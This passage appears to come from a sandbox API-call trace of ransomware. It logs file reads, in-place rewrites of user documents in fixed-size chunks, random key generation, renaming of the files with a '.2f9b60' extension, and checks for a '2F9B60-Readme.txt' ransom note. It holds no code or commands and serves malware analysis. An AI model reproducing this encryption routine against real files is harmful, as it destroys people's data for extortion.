Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x559a4189 [0093.486] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x2074527 [0093.486] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x2fba5139 [0093.486] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x379ca33c [0093.486] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x26a3b403 [0093.486] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x417fcc90 [0093.486] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x7b3eefa6 [0093.486] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x1da37a82 [0093.486] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x140f7c49 [0093.486] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x1533cbd2 [0093.486] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x2a87a757 [0093.486] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x6ded85cf [0093.486] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x7c046c35 [0093.486] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x56d10537 [0093.486] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x1d3ccdd7 [0093.486] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x469f9c22 [0093.486] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x5ddaafc7 [0093.486] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x142836ac [0093.487] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x2b70e9ab [0093.487] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x7f9176d0 [0093.487] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x2dde47cf [0093.487] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x63995092 [0093.487] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x5f011e4 [0093.487] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x357ca006 [0093.487] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x8503396 [0093.487] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x20f775cd [0093.487] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x71b986a1 [0093.487] RtlRandomEx (in: Seed=0x2404fbb0 | out: Seed=0x2404fbb0) returned 0x54795e3 [0093.494] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.494] ReadFile (in: hFile=0xd88, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2404fc20, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x2404fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0093.494] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0093.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f290 [0093.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7c0 [0093.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7c0) returned 1 [0093.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0093.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7c0 [0093.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4f0 [0093.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f4f0) returned 1 [0093.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f290) returned 1 [0093.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.495] WriteFile (in: hFile=0xd88, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2404fc20, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x2404fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0093.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0093.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85f4f0 [0093.496] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.497] WriteFile (in: hFile=0xd88, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2404fcd0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x2404fcd0*=0x102, lpOverlapped=0x0) returned 1 [0093.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1694d0) returned 1 [0093.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f640) returned 1 [0093.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6d0) returned 1 [0093.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f4f0) returned 1 [0093.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7c0) returned 1 [0093.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f730) returned 1 [0093.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6a0) returned 1 [0093.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f760) returned 1 [0093.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f290 [0093.500] wcscpy (in: _Dest=0x1b85f290, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tDy8.doc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tDy8.doc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tDy8.doc" [0093.500] wcscat (in: _Dest=0x1b85f290, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tDy8.doc.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tDy8.doc.2f9b60" [0093.500] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tDy8.doc.2f9b60", NtPathName=0x2404fcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tDy8.doc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1b7ad5c0 [0093.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0093.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.502] NtQueryInformationFile (in: FileHandle=0xd88, IoStatusBlock=0x2404fd58, FileInformation=0x2404fd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2404fd58, FileInformation=0x2404fd68) returned 0x0 [0093.502] NtSetInformationFile (FileHandle=0xd88, IoStatusBlock=0x2404fd58, FileInformation=0x2404fd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f290) returned 1 [0093.503] FlushFileBuffers (hFile=0xd88) returned 1 [0093.504] CloseHandle (hObject=0xd88) returned 1 [0093.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85f290 [0093.505] wcscpy (in: _Dest=0x1b85f290, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.506] wcscat (in: _Dest=0x1b85f290, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.506] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f290) returned 1 [0093.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86eb10) returned 1 Thread: id = 534 os_tid = 0xdd8 [0093.512] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TNeWTzVWana8emjYTG.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tnewtzvwana8emjytg.xls")) returned 0x20 [0093.512] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TNeWTzVWana8emjYTG.xls", dwFileAttributes=0x20) returned 1 [0093.512] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TNeWTzVWana8emjYTG.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tnewtzvwana8emjytg.xls"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd88 [0093.512] GetFileSizeEx (in: hFile=0xd88, lpFileSize=0x2303f9e0 | out: lpFileSize=0x2303f9e0*=61326) returned 1 [0093.512] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0xef8a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.512] ReadFile (in: hFile=0xd88, lpBuffer=0x2303f960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2303f9a8, lpOverlapped=0x0 | out: lpBuffer=0x2303f960*, lpNumberOfBytesRead=0x2303f9a8*=0x4, lpOverlapped=0x0) returned 1 [0093.513] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7f0 [0093.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f760 [0093.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6a0 [0093.514] NtQuerySystemTime (in: CurrentTime=0x2303f8a0 | out: CurrentTime=0x2303f8a0*=132462176993482000) returned 0x0 [0093.514] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x2b52963c [0093.514] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x623e9c78 [0093.514] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x3b3e8a91 [0093.514] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x1b35ee08 [0093.514] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x4ef191d5 [0093.514] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x5814de9 [0093.514] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0xe09fdc0 [0093.514] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x7598f849 [0093.514] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x5215e095 [0093.514] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x43d1b6ba [0093.514] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x77a69eed [0093.514] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x2e535df [0093.514] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x7a8c0c05 [0093.514] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x7de7b935 [0093.514] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x4006240d [0093.514] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x1335860e [0093.514] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x4b013c6a [0093.514] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x6a81629b [0093.514] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x797ffe38 [0093.514] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x765734e2 [0093.514] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x7c904ec3 [0093.514] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x4852ad82 [0093.514] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x16fc8584 [0093.515] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x62019fb6 [0093.515] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x390c623b [0093.515] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x73bb31ae [0093.515] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x7d211795 [0093.515] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x943a964 [0093.515] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x5ba43384 [0093.515] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x618ce93c [0093.515] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x2817a75 [0093.515] RtlRandomEx (in: Seed=0x2303f890 | out: Seed=0x2303f890) returned 0x46a63602 [0093.522] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.522] ReadFile (in: hFile=0xd88, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2303f900, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x2303f900*=0x3c00, lpOverlapped=0x0) returned 1 [0093.523] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0093.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f290 [0093.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7f0 [0093.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7f0) returned 1 [0093.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0093.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7f0 [0093.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6a0 [0093.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6a0) returned 1 [0093.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f290) returned 1 [0093.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.523] WriteFile (in: hFile=0xd88, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2303f900, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x2303f900*=0x3c00, lpOverlapped=0x0) returned 1 [0093.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0093.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1b82c030 [0093.525] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.525] WriteFile (in: hFile=0xd88, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2303f9b0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2303f9b0*=0x11e, lpOverlapped=0x0) returned 1 [0093.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0093.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f290 [0093.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4f0 [0093.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f4f0) returned 1 [0093.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9ebb0 [0093.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4f0 [0093.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6d0 [0093.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6d0) returned 1 [0093.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f290) returned 1 [0093.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0093.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x59) returned 0x1b86eb10 [0093.527] sprintf (in: _Dest=0x1b86eb10, _Format="%c%c" | out: _Dest="9a") returned 2 [0093.527] sprintf (in: _Dest=0x1b86eb12, _Format="%c%c" | out: _Dest="4b") returned 2 [0093.527] sprintf (in: _Dest=0x1b86eb14, _Format="%c%c" | out: _Dest="25") returned 2 [0093.527] sprintf (in: _Dest=0x1b86eb16, _Format="%c%c" | out: _Dest="f8") returned 2 [0093.528] sprintf (in: _Dest=0x1b86eb18, _Format="%c%c" | out: _Dest="1d") returned 2 [0093.528] sprintf (in: _Dest=0x1b86eb1a, _Format="%c%c" | out: _Dest="d2") returned 2 [0093.528] sprintf (in: _Dest=0x1b86eb1c, _Format="%c%c" | out: _Dest="76") returned 2 [0093.528] sprintf (in: _Dest=0x1b86eb1e, _Format="%c%c" | out: _Dest="2b") returned 2 [0093.528] sprintf (in: _Dest=0x1b86eb20, _Format="%c%c" | out: _Dest="9d") returned 2 [0093.528] sprintf (in: _Dest=0x1b86eb22, _Format="%c%c" | out: _Dest="66") returned 2 [0093.528] sprintf (in: _Dest=0x1b86eb24, _Format="%c%c" | out: _Dest="1d") returned 2 [0093.528] sprintf (in: _Dest=0x1b86eb26, _Format="%c%c" | out: _Dest="fd") returned 2 [0093.528] sprintf (in: _Dest=0x1b86eb28, _Format="%c%c" | out: _Dest="a8") returned 2 [0093.528] sprintf (in: _Dest=0x1b86eb2a, _Format="%c%c" | out: _Dest="0d") returned 2 [0093.528] sprintf (in: _Dest=0x1b86eb2c, _Format="%c%c" | out: _Dest="f2") returned 2 [0093.528] sprintf (in: _Dest=0x1b86eb2e, _Format="%c%c" | out: _Dest="29") returned 2 [0093.528] sprintf (in: _Dest=0x1b86eb30, _Format="%c%c" | out: _Dest="b0") returned 2 [0093.528] sprintf (in: _Dest=0x1b86eb32, _Format="%c%c" | out: _Dest="99") returned 2 [0093.528] sprintf (in: _Dest=0x1b86eb34, _Format="%c%c" | out: _Dest="aa") returned 2 [0093.528] sprintf (in: _Dest=0x1b86eb36, _Format="%c%c" | out: _Dest="1e") returned 2 [0093.528] sprintf (in: _Dest=0x1b86eb38, _Format="%c%c" | out: _Dest="bb") returned 2 [0093.528] sprintf (in: _Dest=0x1b86eb3a, _Format="%c%c" | out: _Dest="fe") returned 2 [0093.528] sprintf (in: _Dest=0x1b86eb3c, _Format="%c%c" | out: _Dest="51") returned 2 [0093.528] sprintf (in: _Dest=0x1b86eb3e, _Format="%c%c" | out: _Dest="0c") returned 2 [0093.528] sprintf (in: _Dest=0x1b86eb40, _Format="%c%c" | out: _Dest="a2") returned 2 [0093.528] sprintf (in: _Dest=0x1b86eb42, _Format="%c%c" | out: _Dest="70") returned 2 [0093.528] sprintf (in: _Dest=0x1b86eb44, _Format="%c%c" | out: _Dest="f5") returned 2 [0093.528] sprintf (in: _Dest=0x1b86eb46, _Format="%c%c" | out: _Dest="35") returned 2 [0093.529] sprintf (in: _Dest=0x1b86eb48, _Format="%c%c" | out: _Dest="f5") returned 2 [0093.529] sprintf (in: _Dest=0x1b86eb4a, _Format="%c%c" | out: _Dest="5d") returned 2 [0093.529] sprintf (in: _Dest=0x1b86eb4c, _Format="%c%c" | out: _Dest="2f") returned 2 [0093.529] sprintf (in: _Dest=0x1b86eb4e, _Format="%c%c" | out: _Dest="f2") returned 2 [0093.529] sprintf (in: _Dest=0x1b86eb50, _Format="%c%c" | out: _Dest="75") returned 2 [0093.529] sprintf (in: _Dest=0x1b86eb52, _Format="%c%c" | out: _Dest="61") returned 2 [0093.529] sprintf (in: _Dest=0x1b86eb54, _Format="%c%c" | out: _Dest="0a") returned 2 [0093.529] sprintf (in: _Dest=0x1b86eb56, _Format="%c%c" | out: _Dest="9d") returned 2 [0093.529] sprintf (in: _Dest=0x1b86eb58, _Format="%c%c" | out: _Dest="1b") returned 2 [0093.529] sprintf (in: _Dest=0x1b86eb5a, _Format="%c%c" | out: _Dest="57") returned 2 [0093.529] sprintf (in: _Dest=0x1b86eb5c, _Format="%c%c" | out: _Dest="d7") returned 2 [0093.529] sprintf (in: _Dest=0x1b86eb5e, _Format="%c%c" | out: _Dest="88") returned 2 [0093.529] sprintf (in: _Dest=0x1b86eb60, _Format="%c%c" | out: _Dest="0e") returned 2 [0093.529] sprintf (in: _Dest=0x1b86eb62, _Format="%c%c" | out: _Dest="b1") returned 2 [0093.529] sprintf (in: _Dest=0x1b86eb64, _Format="%c%c" | out: _Dest="a0") returned 2 [0093.529] sprintf (in: _Dest=0x1b86eb66, _Format="%c%c" | out: _Dest="6b") returned 2 [0093.529] RtlInitAnsiString (in: DestinationString=0x2303fa28, SourceString="9a4b25f81dd2762b9d661dfda80df229b099aa1ebbfe510ca270f535f55d2ff275610a9d1b57d7880eb1a06b" | out: DestinationString="9a4b25f81dd2762b9d661dfda80df229b099aa1ebbfe510ca270f535f55d2ff275610a9d1b57d7880eb1a06b") [0093.529] RtlAnsiStringToUnicodeString (in: DestinationString=0x2303f9f8, SourceString="9a4b25f81dd2762b9d661dfda80df229b099aa1ebbfe510ca270f535f55d2ff275610a9d1b57d7880eb1a06b", AllocateDestinationString=1 | out: DestinationString="9a4b25f81dd2762b9d661dfda80df229b099aa1ebbfe510ca270f535f55d2ff275610a9d1b57d7880eb1a06b") returned 0x0 [0093.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x107a80 [0093.529] wcscat (in: _Dest=0x1b7ad5c0, _Source="9a4b25f81dd2762b9d661d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9a4b25f81dd2762b9d661d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9a4b25f81dd2762b9d661d" [0093.529] wcscat (in: _Dest=0x1b7ad5c0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9a4b25f81dd2762b9d661d.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9a4b25f81dd2762b9d661d.2f9b60" [0093.529] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9a4b25f81dd2762b9d661d.2f9b60", NtPathName=0x2303f9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9a4b25f81dd2762b9d661d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1079c0 [0093.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0093.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.532] NtQueryInformationFile (in: FileHandle=0xd88, IoStatusBlock=0x2303fa38, FileInformation=0x2303fa48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2303fa38, FileInformation=0x2303fa48) returned 0x0 [0093.532] NtSetInformationFile (FileHandle=0xd88, IoStatusBlock=0x2303fa38, FileInformation=0x2303fa48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0093.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107a80) returned 1 [0093.534] FlushFileBuffers (hFile=0xd88) returned 1 [0093.551] CloseHandle (hObject=0xd88) returned 1 [0093.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85f210 [0093.552] wcscpy (in: _Dest=0x1b85f210, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.552] wcscat (in: _Dest=0x1b85f210, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.552] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0093.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784760) returned 1 Thread: id = 535 os_tid = 0xddc [0093.536] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uYU4eydMCSdIyX.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uyu4eydmcsdiyx.docx")) returned 0x20 [0093.536] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uYU4eydMCSdIyX.docx", dwFileAttributes=0x20) returned 1 [0093.536] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uYU4eydMCSdIyX.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uyu4eydmcsdiyx.docx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd04 [0093.536] GetFileSizeEx (in: hFile=0xd04, lpFileSize=0x242dfc40 | out: lpFileSize=0x242dfc40*=5766) returned 1 [0093.536] 